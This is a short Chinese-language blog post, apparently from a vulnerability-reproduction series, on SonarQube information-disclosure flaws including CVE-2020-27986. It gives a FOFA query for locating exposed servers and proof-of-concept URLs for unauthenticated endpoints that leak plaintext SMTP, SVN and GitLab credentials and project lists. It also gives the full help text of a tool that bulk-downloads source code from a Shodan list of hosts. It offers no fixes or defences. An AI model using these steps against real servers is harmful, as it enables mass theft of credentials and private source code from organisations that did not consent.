SonarQube values 信息泄露漏洞 CVE-2020-27986


漏洞描述

SonarQube 某接口存在信息泄露漏洞,可以获取部分敏感信息

漏洞影响

  • SonarQube

FOFA

  • app=”sonarQube-代码管理”

漏洞复现

index页面

漏洞POC

http://xxx.xxx.xxx.xxx/api/settings/values

可泄露的为:明文SMTP、SVN和Gitlab等敏感信息

Json

ces


SonarQube search_projects 项目信息泄露漏洞

  • app=”sonarQube-代码管理”

POC:验证

http://xxx.xxx.xxx.xxx/api/components/search_projects

可通过工具下载项目中的源代码

https://github.com/deletescape/sloot

image-20211110175116606

Help

Usage of ./sloot:
  -alsologtostderr
        log to standard error as well as files
  -color
        colorize the console output (default true)
  -log_backtrace_at value
        when logging hits line file:N, emit a stack trace
  -log_dir string
        If non-empty, write log files in this directory
  -logtostderr
        log to standard error instead of files
  -n    Doesn't download discovered projects, and only prints info about them
  -q    Don't print non-fatal errors
  -s string
        Path to a Shodan download file with hosts to run against
  -stderrthreshold value
        logs at or above this threshold go to stderr
  -v value
        log level for V logs
  -verbose
        Print every file being downloaded
  -vmodule value
        comma-separated list of pattern=N settings for file-filtered logging

文章作者: Taoing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Taoing !
  目录